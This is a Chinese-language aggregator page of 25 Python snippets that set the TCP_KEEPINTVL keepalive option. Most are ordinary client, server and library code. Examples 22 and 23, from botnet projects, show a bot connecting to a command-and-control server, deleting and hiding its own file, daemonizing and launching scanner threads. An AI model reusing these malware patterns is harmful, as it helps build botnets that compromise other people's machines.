Python socket.TCP_KEEPINTVL属性代码示例

本文整理汇总了Python中socket.TCP_KEEPINTVL属性的典型用法代码示例。如果您正苦于以下问题:Python socket.TCP_KEEPINTVL属性的具体用法?Python socket.TCP_KEEPINTVL怎么用?Python socket.TCP_KEEPINTVL使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在模块socket的用法示例。

在下文中一共展示了socket.TCP_KEEPINTVL属性的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: start

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def start(self):
		family, socktype, proto, _, sockaddr = socket.getaddrinfo(self.host, self.port, self.family, self.type)[0]
		sock = socket.socket(family, socktype)
		sock.connect(sockaddr)
		if self.nodelay:
			sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
		if self.keepalive:
			sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
		if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
			sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)
			sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 30)
			sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
		elif hasattr(socket, "SIO_KEEPALIVE_VALS"):
			sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 1 * 60 * 1000, 5 * 60 * 1000))
		self.sock = sock
		self.recv_count = 0
		Ksecurity().reset_aes() 
开发者ID:turingsec,项目名称:marsnake,代码行数:25,代码来源:ksocket.py


示例2: _connect

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def _connect(cls, host, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM,
            proto = 0, timeout = 3, nodelay = False, keepalive = False):
        family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, family,
            socktype, proto)[0]
        s = socket.socket(family, socktype, proto)
        s.settimeout(timeout)
        s.connect(sockaddr)
        if nodelay:
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        if keepalive:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            # Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes.
            # Drop connection after 10 failed keepalives
            if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60)
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)
        return s 
开发者ID:krintoxi,项目名称:NoobSec-Toolkit,代码行数:20,代码来源:stream.py


示例3: test_connect_tcp_keepalive_options

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def test_connect_tcp_keepalive_options(event_loop):
    conn = Connection(
        loop=event_loop,
        socket_keepalive=True,
        socket_keepalive_options={
            socket.TCP_KEEPIDLE: 1,
            socket.TCP_KEEPINTVL: 1,
            socket.TCP_KEEPCNT: 3,
        },
    )
    await conn._connect()
    sock = conn._writer.transport.get_extra_info('socket')
    assert sock.getsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE) == 1
    for k, v in (
        (socket.TCP_KEEPIDLE, 1),
        (socket.TCP_KEEPINTVL, 1),
        (socket.TCP_KEEPCNT, 3),
    ):
        assert sock.getsockopt(socket.SOL_TCP, k) == v
    conn.disconnect() 
开发者ID:NoneGG,项目名称:aredis,代码行数:22,代码来源:test_connection.py


示例4: __init__

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def __init__(self, **kwargs):
        socket_options = kwargs.pop('socket_options',
                                    SocketOptionsAdapter.default_options)
        idle = kwargs.pop('idle', 60)
        interval = kwargs.pop('interval', 20)
        count = kwargs.pop('count', 5)
        socket_options = socket_options + [
            (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),
            (socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval),
            (socket.IPPROTO_TCP, socket.TCP_KEEPCNT, count),
        ]
        # NOTE(Ian): Apparently OSX does not have this constant defined, so we
        # set it conditionally.
        if getattr(socket, 'TCP_KEEPIDLE', None) is not None:
            socket_options += [(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, idle)]
        super(TCPKeepAliveAdapter, self).__init__(
            socket_options=socket_options, **kwargs
        ) 
开发者ID:kylebebak,项目名称:Requester,代码行数:22,代码来源:socket_options.py


示例5: __init__

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def __init__(self, ip, port, callbacks_info, max_client = 50):
        assert (ip != '')
        skt = socket.socket()
        # Avoid 'Address already in use' error when trying to lanch server
        # again right after shutting it down.
        skt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        skt.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        if sys.platform == 'linux':
            skt.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 60)
            skt.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 4)
            skt.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 15)
        skt.bind((ip, port))
        skt.listen(max_client)
        self.connections = []
        self.clients = {}
        self.msg_handler = MessageHandler(skt, callbacks_info,
                                          mh_creator = self.client_mh_creator,
                                          mh_remover = self.client_mh_remover)
        self.thread = TaskThread(name='server_recv_loop')
        self.thread.daemon = True
        self.evt_break = threading.Event()
        self.evt_break.clear() 
开发者ID:PyOCL,项目名称:OpenCLGA,代码行数:25,代码来源:server_client.py


示例6: configure_timeouts

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def configure_timeouts(self, loop_wait, retry_timeout, ttl):
        # Normally every loop_wait seconds we should have receive something from the socket.
        # If we didn't received anything after the loop_wait + retry_timeout it is a time
        # to start worrying (send keepalive messages). Finally, the connection should be
        # considered as dead if we received nothing from the socket after the ttl seconds.
        cnt = 3
        idle = int(loop_wait + retry_timeout)
        intvl = max(1, int(float(ttl - idle) / cnt))
        self._api.api_client.rest_client.pool_manager.connection_pool_kw['socket_options'] = [
            (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),
            (socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, idle),
            (socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, intvl),
            (socket.IPPROTO_TCP, socket.TCP_KEEPCNT, cnt),
            (socket.IPPROTO_TCP, 18, int(ttl * 1000))  # TCP_USER_TIMEOUT
        ]
        self._request_timeout = (1, retry_timeout / 3.0) 
开发者ID:zalando,项目名称:patroni,代码行数:18,代码来源:kubernetes.py


示例7: set_keepalive

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_keepalive(sock, after_idle_sec=1, interval_sec=3, max_fails=5):
    """Set TCP keepalive on an open socket.
    It activates after 1 second (after_idle_sec) of idleness,
    then sends a keepalive ping once every 3 seconds (interval_sec),
    and closes the connection after 5 failed ping (max_fails), or 15 seconds
    """
    if hasattr(socket, "SO_KEEPALIVE"):
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    if hasattr(socket, "TCP_KEEPIDLE"):
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, after_idle_sec)
    if hasattr(socket, "TCP_KEEPINTVL"):
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval_sec)
    if hasattr(socket, "TCP_KEEPCNT"):
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, max_fails) 
开发者ID:socialwifi,项目名称:RouterOS-api,代码行数:17,代码来源:api_socket.py


示例8: _set_socket_options

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def _set_socket_options(sock: anyio.SocketStream):
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        if hasattr(socket, "TCP_KEEPIDLE"):
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 300)
        elif is_darwin():
            # Darwin specific option
            TCP_KEEPALIVE = 16
            sock.setsockopt(socket.IPPROTO_TCP, TCP_KEEPALIVE, 300)
        if not is_windows():
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 30)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 
开发者ID:standy66,项目名称:purerpc,代码行数:14,代码来源:grpc_socket.py


示例9: set_keepalive_linux

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_keepalive_linux(sock, after_idle_sec=3600, interval_sec=3, max_fails=5):
	"""Set TCP keepalive on an open socket.
	It activates after 3600 seconds (after_idle_sec) of idleness,
	then sends a keepalive ping once every 3 seconds (interval_sec),
	and closes the connection after 5 failed ping (max_fails), or 15 seconds
	"""
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
	sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, after_idle_sec)
	sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval_sec)
	sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, max_fails) 
开发者ID:poliva,项目名称:ggposrv,代码行数:13,代码来源:ggposrv.py


示例10: set_keepalive

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_keepalive(sock, interval=40, attempts=5):
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    if hasattr(socket, "TCP_KEEPIDLE"):
        try_setsockopt(sock, socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, interval)
    if hasattr(socket, "TCP_KEEPINTVL"):
        try_setsockopt(sock, socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval)
    if hasattr(socket, "TCP_KEEPCNT"):
        try_setsockopt(sock, socket.IPPROTO_TCP, socket.TCP_KEEPCNT, attempts) 
开发者ID:alexbers,项目名称:mtprotoproxy,代码行数:10,代码来源:mtprotoproxy.py


示例11: accept_connections

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def accept_connections(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        """ Set TCP keepalive on an open socket.
            It activates after 1 second (after_idle_sec) of idleness,
            then sends a keepalive ping once every 1 seconds (interval_sec),
            and closes the connection after 100 failed ping (max_fails)
        """
        #self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # pylint: disable=no-member
        if hasattr(socket, 'TCP_KEEPIDLE'):
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1)
        elif hasattr(socket, 'TCP_KEEPALIVE'):
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPALIVE, 1)
        if hasattr(socket, 'TCP_KEEPINTVL'):
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 1)
        if hasattr(socket, 'TCP_KEEPCNT'):
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 100)
        # pylint: enable=no-member
        self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, True)
        self.sock.bind((self.bind_addr, self.bind_port))
        self.sock.listen(1)
        logger.info('Listening on {}:{}.'.format(self.bind_addr, self.bind_port))
        try:
            while True:
                conn, addr = self.sock.accept()
                logger.info("Received a connection, creating an ADBConnection.")
                thread = threading.Thread(target=ADBConnection, args=(conn, addr))
                thread.daemon = True
                thread.start()
        except KeyboardInterrupt:
            logger.info('Exiting...')
            self.sock.close()
            if output_writer:
                output_writer.stop() 
开发者ID:huuck,项目名称:ADBHoney,代码行数:38,代码来源:core.py


示例12: _open_connection

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def _open_connection(self) -> None:
        """
        Opens a connection to the GPSD server and configures the TCP socket.
        """
        self.logger.info(
            f"Connecting to gpsd at {self.connection_args['host']}" +
            (f":{self.connection_args['port']}"
             if self.connection_args['port'] else ''))
        self.reader, self.writer = await asyncio.wait_for(
            asyncio.open_connection(**self.connection_args),
            self.connection_timeout,
            loop=self.loop)
        # Set socket options
        sock = self.writer.get_extra_info('socket')
        if sock is not None:
            if 'SO_KEEPALIVE' in self.alive_opts:
                sock.setsockopt(socket.SOL_SOCKET,
                                socket.SO_KEEPALIVE,
                                self.alive_opts['SO_KEEPALIVE'])
            if hasattr(
                    sock,
                    'TCP_KEEPIDLE') and 'TCP_KEEPIDLE' in self.alive_opts:
                sock.setsockopt(socket.IPPROTO_TCP,
                                socket.TCP_KEEPIDLE,    # pylint: disable=E1101
                                self.alive_opts['TCP_KEEPIDLE'])
            if hasattr(
                    sock,
                    'TCP_KEEPINTVL') and 'TCP_KEEPINTVL' in self.alive_opts:
                sock.setsockopt(socket.IPPROTO_TCP,
                                socket.TCP_KEEPINTVL,   # pylint: disable=E1101
                                self.alive_opts['TCP_KEEPINTVL'])
            if hasattr(
                    sock,
                    'TCP_KEEPCNT') and 'TCP_KEEPCNT' in self.alive_opts:
                sock.setsockopt(socket.IPPROTO_TCP,
                                socket.TCP_KEEPCNT,
                                self.alive_opts['TCP_KEEPCNT']) 
开发者ID:Stefal,项目名称:rtkbase,代码行数:39,代码来源:aiogps.py


示例13: start_socket_client

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def start_socket_client(self, host, port):
        self._sequence = -1
        if SHOW_WRITES_AND_READS:
            print("Connecting to %s:%s" % (host, port))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        #  Set TCP keepalive on an open socket.
        #  It activates after 1 second (TCP_KEEPIDLE,) of idleness,
        #  then sends a keepalive ping once every 3 seconds (TCP_KEEPINTVL),
        #  and closes the connection after 5 failed ping (TCP_KEEPCNT), or 15 seconds
        try:
            from socket import IPPROTO_TCP, SO_KEEPALIVE, TCP_KEEPIDLE, TCP_KEEPINTVL, TCP_KEEPCNT
            s.setsockopt(socket.SOL_SOCKET, SO_KEEPALIVE, 1)
            s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 1)
            s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 3)
            s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 5)
        except ImportError:
            pass  # May not be available everywhere.
        # 10 seconds default timeout
        timeout = int(os.environ.get('PYDEVD_CONNECT_TIMEOUT', 10))
        s.settimeout(timeout)
        for _i in range(20):
            try:
                s.connect((host, port))
                break
            except:
                time.sleep(.5)  # We may have to wait a bit more and retry (especially on PyPy).
        s.settimeout(None)  # no timeout after connected
        if SHOW_WRITES_AND_READS:
            print("Connected.")
        self._set_socket(s)
        return s 
开发者ID:fabioz,项目名称:PyDev.Debugger,代码行数:36,代码来源:debugger_unittest.py


示例14: connectionMade

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def connectionMade(self):
        log.msg('Server connected')
        self.factory.di.to_server.get().addCallback(self.dataEnqueued)
        try:
            self.transport.getHandle().setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 30)
            self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 1)
            self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 5)
        except:
            pass 
开发者ID:x25,项目名称:coinhive-stratum-mining-proxy,代码行数:12,代码来源:coinhive-stratum-mining-proxy.py


示例15: get_connection

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def get_connection(self, database):
        """
        gets a connection to the a psql database
        Args:
            self.password -- the password to the database
        Returns:
            a connection object
        """
        # additional logging to help with connection issues
        boto_config_dict = self.get_boto_config()
        self.log_stream.write_msg('boto', extra_msg=boto_config_dict)
        log_template = "getting connection with host {0} port {1} user {2} db {3}"
        log_msg = log_template.format(self.host, self.port, self.user, database)
        self.log_stream.write_msg('starting', extra_msg=log_msg)
        conn = psycopg2.connect(
            host=self.host,
            port=self.port,
            user=self.user,
            password=self.password,
            database=database,
            sslmode='require')
        self.log_stream.write_msg('finished', extra_msg=log_msg)
        fd = conn.fileno()
        sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE,
                        self.SECONDS_BEFORE_SENDING_PROBE)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL,
                        self.SECONDS_BETWEEN_SENDING_PROBE)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT,
                        self.RETRIES_BEFORE_QUIT)
        return conn 
开发者ID:Yelp,项目名称:mycroft,代码行数:40,代码来源:redshift_psql.py


示例16: connectionMade

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def connectionMade(self):
        #We limit the data sent through to 255 chars
        data = str(self.accept_banner)[:255]
        logdata = {'FUNCTION': 'CONNECTION_MADE', 'DATA':data,
                   'BANNER_ID':str(self.banner_id)}
        if self.keep_alive_enabled:
            if hasattr(socket, 'TCP_KEEPIDLE'):
                # overrides value (in seconds) of system-wide ipv4 tcp_keepalive_time
                self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, self.keep_alive_idle)
            # overrides value (in seconds) of system-wide ipv4 tcp_keepalive_intvl
            self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, self.keep_alive_interval)
            # overrides value (in seconds) of system-wide ipv4 tcp_keepalive_probes
            self.transport.getHandle().setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, self.keep_alive_probes)
            # set keep alive on socket
            self.transport.setTcpKeepAlive(1)
            self.factory.canaryservice.logtype = self.factory.canaryservice.logger.LOG_TCP_BANNER_KEEP_ALIVE_CONNECTION_MADE
            self.factory.canaryservice.log(logdata, transport=self.transport)
        elif not self.alert_string_enabled:
            #flag says we need to wait for incoming data to include a string
            #so no point in logging anything here
            self.factory.canaryservice.logtype = self.factory.canaryservice.logger.LOG_TCP_BANNER_CONNECTION_MADE
            self.factory.canaryservice.log(logdata, transport=self.transport)
        self.transport.write(self.accept_banner) 
开发者ID:thinkst,项目名称:opencanary,代码行数:31,代码来源:tcpbanner.py


示例17: __init__

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def __init__(self, **kwargs):
        socket_options = kwargs.pop('socket_options',
                                    SocketOptionsAdapter.default_options)
        idle = kwargs.pop('idle', 60)
        interval = kwargs.pop('interval', 20)
        count = kwargs.pop('count', 5)
        socket_options = socket_options + [
            (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        ]
        # NOTE(Ian): OSX does not have these constants defined, so we
        # set them conditionally.
        if getattr(socket, 'TCP_KEEPINTVL', None) is not None:
            socket_options += [(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL,
                                interval)]
        elif sys.platform == 'darwin':
            # On OSX, TCP_KEEPALIVE from netinet/tcp.h is not exported
            # by python's socket module
            TCP_KEEPALIVE = getattr(socket, 'TCP_KEEPALIVE', 0x10)
            socket_options += [(socket.IPPROTO_TCP, TCP_KEEPALIVE, interval)]
        if getattr(socket, 'TCP_KEEPCNT', None) is not None:
            socket_options += [(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, count)]
        if getattr(socket, 'TCP_KEEPIDLE', None) is not None:
            socket_options += [(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, idle)]
        super(TCPKeepAliveAdapter, self).__init__(
            socket_options=socket_options, **kwargs
        ) 
开发者ID:alfa-addon,项目名称:addon,代码行数:32,代码来源:socket_options.py


示例18: _connect

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def _connect(self, timeout=None, delay=10, max_tries=0):
        n_tries = 0
        while True:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.settimeout(timeout)
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, self.tcp_keepidle)
            self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, self.tcp_keepcnt)
            self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, self.tcp_keepintvl)
            try:
                self.socket.connect((self.host, self.port))
                self.rfile = self.socket.makefile('rb')
                self.wfile = self.socket.makefile('wb')
                return
            except socket.error as exc:
                raise
                try:
                    self.socket.shotdown(socket.SHUT_RDWR)
                    self.socket.close()
                except:
                    continue
                n_tries += 1
                if (n_tries >= max_tries):
                    raise
                time.sleep(delay)
                continue 
开发者ID:xulabs,项目名称:aitom,代码行数:28,代码来源:RPCClient.py


示例19: set_keepalive

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_keepalive(self):
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        if sys.platform == 'linux':
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 2)
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)
            self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 2) 
开发者ID:faicker,项目名称:greendns,代码行数:8,代码来源:connection.py


示例20: loop

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def loop(self, connection):
        _socket = connection.reader._transport.get_extra_info('socket')
        try:
            if hasattr(socket, 'SOL_SOCKET') and hasattr(socket, 'SO_KEEPALIVE'):
                _socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) # Enable keepalive packets
            if hasattr(socket, 'SOL_TCP'):
                if hasattr(socket, 'TCP_KEEPIDLE'):
                    # Seconds before sending keepalive probes
                    _socket.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 60)
                if hasattr(socket, 'TCP_KEEPINTVL'):
                    # Interval in seconds between keepalive probes
                    _socket.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 5)
                if hasattr(socket, 'TCP_KEEPCNT'):
                    # Failed keepalive probes before declaring other end dead
                    _socket.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 20)
        except:
            # Some socket features are not available on all platforms (Windows and macOS!)
            logger.exception("{} unable to set socket keep-alive due to platform constraints".format(self.log_prefix))
        if not self.pool.connected or not self.pool.is_ready():
            self.recent_shares.clear()
            # wait until the pool is subscribed, authorized, etc
            await self.pool.wait_until_ready()
        try:
            connection.extra['extra_nonce1_tail'] = self.get_extra_nonce1_tail()
        except MaxClientsConnected:
            await self.close_connection(connection)
            # connection.close()
            # self.client_connections.remove(connection)
            # self.cleanup_connection(connection)
            logger.warning("{} maximum number of {} workers reached, disconnecting".format(
                self.log_prefix, len(self.clients)))
            return
        connection.extra['subscriptions'] = {}
        await super().loop(connection) 
开发者ID:wetblanketcc,项目名称:aiostratum_proxy,代码行数:42,代码来源:__init__.py


示例21: __init__

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def __init__(self, sock, address, id, server, config, logger, reporter):
        self.logger = logger
        self.sock = sock
        self.server = server
        self.config = config
        self.reporter = reporter
        # Seconds before sending keepalive probes
        sock.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 120)
        # Interval in seconds between keepalive probes
        sock.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 1)
        # Failed keepalive probles before declaring other end dead
        sock.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 5)
        self._disconnected = False
        self._authenticated = False
        self._client_state = None
        self._authed = {}
        self._client_version = None
        self._connection_time = time()
        self._id = id
        # where we put all the messages that need to go out
        self.write_queue = Queue()
        self.fp = None
        self._stopped = False 
开发者ID:simplecrypto,项目名称:powerpool,代码行数:28,代码来源:agent_server.py


示例22: main

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def main():
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
		s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
		#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
		#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
		s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)#this only can use on python3 env, python2 pls off this
		s.connect((cnc,cport))
		cmdHandle(s)
	except Exception as e:
		connect()#magic loop 
开发者ID:Leeon123,项目名称:Python3-Botnet,代码行数:17,代码来源:bot.py


示例23: conn

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def conn():
	if len(sys.argv) == 1:#i use 'python client.py debug' to check command
		if os.name != "nt":
			os.system('rm -rf '+sys.argv[0])#delete ourselves
			daemon()#can't use in windows
			#clean_device()
		else:
			#pass
			os.system("attrib +s +a +h "+sys.argv[0])#hide the file
	global kill
	kill = False
	for _ in range(scan_th):
		threading.Thread(target=scanner,daemon=True).start()
	threading.Thread(target=single_instance,daemon=True).start()#only can used in python3
	while True:#magic loop
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
			s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
			#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
			#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
			#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)#this only can use on python3 env, python2 pls off this
			s.connect((cnc,cport))
			signal = handle(s)
			if signal == 1:
				if os.name != "nt":
					sys.stdin  = open("/dev/stdin")#off the stdin,stdout,stderr, indeed no need.
					sys.stdout = open("/dev/stdout")#windows can't use this method, only can use pyinstaller's option '--noconsole'
					sys.stderr = open("/dev/stderr")
				kill = True
				break
		except:
			#time.sleep(random.randint(1,60))
			pass
#xor enc part# 
开发者ID:Leeon123,项目名称:Aoyama,代码行数:40,代码来源:client.py


示例24: set_sock_keepalive_linux

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_sock_keepalive_linux(
        sock, after_idle_sec=1, interval_sec=3, max_fails=5
):
    """
    Set TCP keepalive on an open socket.
    It activates after 1 second (after_idle_sec) of idleness,
    then sends a keepalive ping once every 3 seconds (interval_sec),
    and closes the connection after 5 failed ping (max_fails), or 15 seconds
    :param sock:
        socket
    :param after_idle_sec:
        for TCP_KEEPIDLE. May not work, depends on ur system
    :param interval_sec:
        for TCP_KEEPINTVL
    :param max_fails:
        for TCP_KEEPCNT
    """
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    try:
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, after_idle_sec)
    except AttributeError:
        pass
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, interval_sec)
    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, max_fails)
# pylint: disable=W0613 
开发者ID:baidu,项目名称:CUP,代码行数:30,代码来源:__init__.py


示例25: set_keep_alive

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def set_keep_alive(self, sock, after_idle_sec=5, interval_sec=60,
                       max_fails=5):
        """
        This function instructs the TCP socket to send a heart beat every n
        seconds to detect dead connections. It's the TCP equivalent of the
        IRC ping-pong protocol and allows for better cleanup / detection
        of dead TCP connections.
        It activates after 1 second (after_idle_sec) of idleness, then sends
        a keepalive ping once every 3 seconds(interval_sec), and closes the
        connection after 5 failed ping (max_fails), or 15 seconds
        """
        # OSX
        if platform.system() == "Darwin":
            # scraped from /usr/include, not exported by python's socket module
            TCP_KEEPALIVE = 0x10
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            sock.setsockopt(socket.IPPROTO_TCP, TCP_KEEPALIVE, interval_sec)
        if platform.system() == "Windows":
            sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
        if platform.system() == "Linux":
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE,
                            after_idle_sec)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL,
                            interval_sec)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, max_fails) 
